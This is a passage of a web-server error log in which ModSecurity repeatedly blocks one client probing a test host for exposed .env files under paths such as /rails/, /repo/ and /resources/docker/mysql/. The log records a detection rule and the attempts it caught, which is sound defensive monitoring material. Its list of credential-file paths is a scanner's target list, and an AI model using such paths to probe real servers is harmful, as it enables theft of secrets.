&quot;aIfFeeXeAg5fi4n6U5fNTgAAAAQ&quot;]
[Mon Jul 28 20:46:17.120153 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNTgAAAAQ&quot;]
[Mon Jul 28 20:46:17.120349 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNTgAAAAQ&quot;]
[Mon Jul 28 20:46:17.143117 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rasax/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rasax/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNTwAAAAQ&quot;]
[Mon Jul 28 20:46:17.143386 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rasax/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNTwAAAAQ&quot;]
[Mon Jul 28 20:46:17.143576 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rasax/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNTwAAAAQ&quot;]
[Mon Jul 28 20:46:17.166068 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNUAAAAAQ&quot;]
[Mon Jul 28 20:46:17.166319 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNUAAAAAQ&quot;]
[Mon Jul 28 20:46:17.166564 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNUAAAAAQ&quot;]
[Mon Jul 28 20:46:17.189034 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react_todo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react_todo/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNUQAAAAQ&quot;]
[Mon Jul 28 20:46:17.189265 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react_todo/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNUQAAAAQ&quot;]
[Mon Jul 28 20:46:17.189435 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react_todo/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNUQAAAAQ&quot;]
[Mon Jul 28 20:46:17.211972 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /redmine/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redmine/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNUgAAAAQ&quot;]
[Mon Jul 28 20:46:17.212204 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redmine/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNUgAAAAQ&quot;]
[Mon Jul 28 20:46:17.212379 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redmine/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNUgAAAAQ&quot;]
[Mon Jul 28 20:46:17.234518 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /repo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNUwAAAAQ&quot;]
[Mon Jul 28 20:46:17.234730 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNUwAAAAQ&quot;]
[Mon Jul 28 20:46:17.234896 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNUwAAAAQ&quot;]
[Mon Jul 28 20:46:17.257612 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /repos/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNVAAAAAQ&quot;]
[Mon Jul 28 20:46:17.257809 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNVAAAAAQ&quot;]
[Mon Jul 28 20:46:17.257958 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNVAAAAAQ&quot;]
[Mon Jul 28 20:46:17.280220 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /repository/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNVQAAAAQ&quot;]
[Mon Jul 28 20:46:17.280418 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNVQAAAAQ&quot;]
[Mon Jul 28 20:46:17.280579 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNVQAAAAQ&quot;]
[Mon Jul 28 20:46:17.302870 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNVgAAAAQ&quot;]
[Mon Jul 28 20:46:17.303086 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNVgAAAAQ&quot;]
[Mon Jul 28 20:46:17.303256 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNVgAAAAQ&quot;]
[Mon Jul 28 20:46:17.325446 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNVwAAAAQ&quot;]
[Mon Jul 28 20:46:17.325637 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNVwAAAAQ&quot;]
[Mon Jul 28 20:46:17.325795 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNVwAAAAQ&quot;]
[Mon Jul 28 20:46:17.347975 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/mysql/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/mysql/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNWAAAAAQ&quot;]
[Mon Jul 28 20:46:17.348168 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/mysql/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNWAAAAAQ&quot;]
[Mon Jul 28 20:46:17.348326 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/mysql/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNWAAAAAQ&quot;]
[Mon Jul 28 20:46:17.370619 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/phpmyadmin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNWQAAAAQ&quot;]
